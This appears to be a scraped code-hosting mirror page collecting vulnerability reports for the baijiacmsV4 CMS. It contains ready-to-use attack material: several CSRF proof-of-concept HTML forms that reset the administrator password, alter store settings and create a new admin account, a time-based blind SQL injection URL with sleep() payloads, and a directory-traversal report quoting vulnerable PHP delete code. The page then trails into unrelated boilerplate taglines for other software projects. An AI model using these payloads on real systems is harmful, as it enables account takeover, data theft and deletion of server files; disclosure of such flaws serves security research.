baijiacms / baijiacmsv4 Goto Github PK
View Code? Open in Web Editor NEWbaijiacmsV4
License: Other
baijiacmsV4
License: Other
After the administrator logs in, open the following page to change the administrator password
poc:test.html---Change administrator user password
`
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<form method="post" action="http://127.0.0.1/baijiacms/index.php?mod=site&op=changepwd&id=1&act=manager&do=user&beid=1">
<input type="hidden" readonly="readonly" name="username" value="admin"/>
<input type="hidden" name="newpassword" value="a123456">
<input type="hidden" name="confirmpassword" value="a123456">
<input type="submit" name="submit" value="提交">
</body>
</form>
A csrf vulnerability was discovered in baijiacmsV4.
There is a CSRF attacks vulnerability.After the administrator logged in, open the following two page,attacker can modify the store information and login password.
1.modify the store information.
poc:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.0.0.128/index.php?mod=site&op=post&id=2&act=manager&do=store" method="POST">
<input type="hidden" name="id" value="2" />
<input type="hidden" name="sname" value="xxx" />
<input type="hidden" name="website" value="xxx" />
<input type="hidden" name="fullwebsite" value="http://xxx/" />
<input type="hidden" name="status" value="1'" />
<input type="hidden" name="mobile_url" value="http://xxx/index.php" />
<input type="hidden" name="mobile_url" value="http://xxx/admin.php" />
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Original store information
When a logged in administrator opens a malicious web page and clicks the button
And the store information has changed
2.modify login password.
poc:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://10.0.0.128/index.php?mod=site&op=changepwd&id=1&act=manager&do=user" method="POST">
<input type="hidden" name="username" value="admin" />
<input type="hidden" name="newpassword" value="111111" />
<input type="hidden" name="confirmpassword" value="111111" />
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
When a logged in administrator opens a malicious web page and clicks the button.
And the login password of the administrator will be 111111.
0x1:description
Two time-based SQL blinds to get data。
0x03:description
request the url:
http://127.0.0.1:88/baijiacmsv4-master/index.php?act=index&beid=1&by=&cate=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/&do=goods&isdiscount=&ishot=&isnew=&isrecommand=&issendfree=&istime=&keywords=&m=eshop&merchid=&mod=mobile&op=get_list&order=&page=1&_=1546926470383
No time delay
Screenshot:
https://i.loli.net/2019/01/08/5c344a7845064.png
request the url:
http://127.0.0.1:88/baijiacmsv4-master/index.php?act=index&beid=1&by=&cate=(select(0)from(select(sleep(10)))v)/*'%2b(select(0)from(select(sleep(10)))v)%2b'%22%2b(select(0)from(select(sleep(10)))v)%2b%22*/&do=goods&isdiscount=&ishot=&isnew=&isrecommand=&issendfree=&istime=&keywords=&m=eshop&merchid=&mod=mobile&op=get_list&order=&page=1&_=1546926470383
time delay
Screenshot:
https://i.loli.net/2019/01/08/5c344afbc5d7d.png
Test with sqlmap:
https://i.loli.net/2019/01/08/5c344b46484a1.png
After the administrator logged in, open the following page
poc:
test.html---add a administrator
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:88//baijiacmsv4-master/index.php?mod=site&op=edituser&act=manager&do=user&beid=1" method="POST">
<input type="hidden" name="id" value="" />
<input type="hidden" name="is_admin" value="0" />
<input type="hidden" name="store" value="0" />
<input type="hidden" name="username" value="admin1" />
<input type="hidden" name="newpassword" value="123456" />
<input type="hidden" name="confirmpassword" value="123456" />
<input type="hidden" name="submit" value="提交" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Directory traversal vulnerability in baijiacmsV4 allows remote authenticated attackers to delete arbitrary folders on the server via unspecified vectors.
Vulnerable code is in system/manager/class/web/database.php
if($operation=='delete')
{
$d = base64_decode($_GP['id']);
$path = WEB_ROOT . '/config/data_backup/';
if(is_dir($path . $d)) {
rmdirs($path . $d);
message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');
}
}
The origin request is http://127.0.0.1:8888/baijiacms/index.php?mod=site&act=manager&do=database&op=delete&id=MTYwMDQ5ODY5OV9RejQzQmhaOQ%3D%3D&beid=1
,which is used to delete database backuped folder.We can change the parameter "id" to delete any folders.
For example:
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.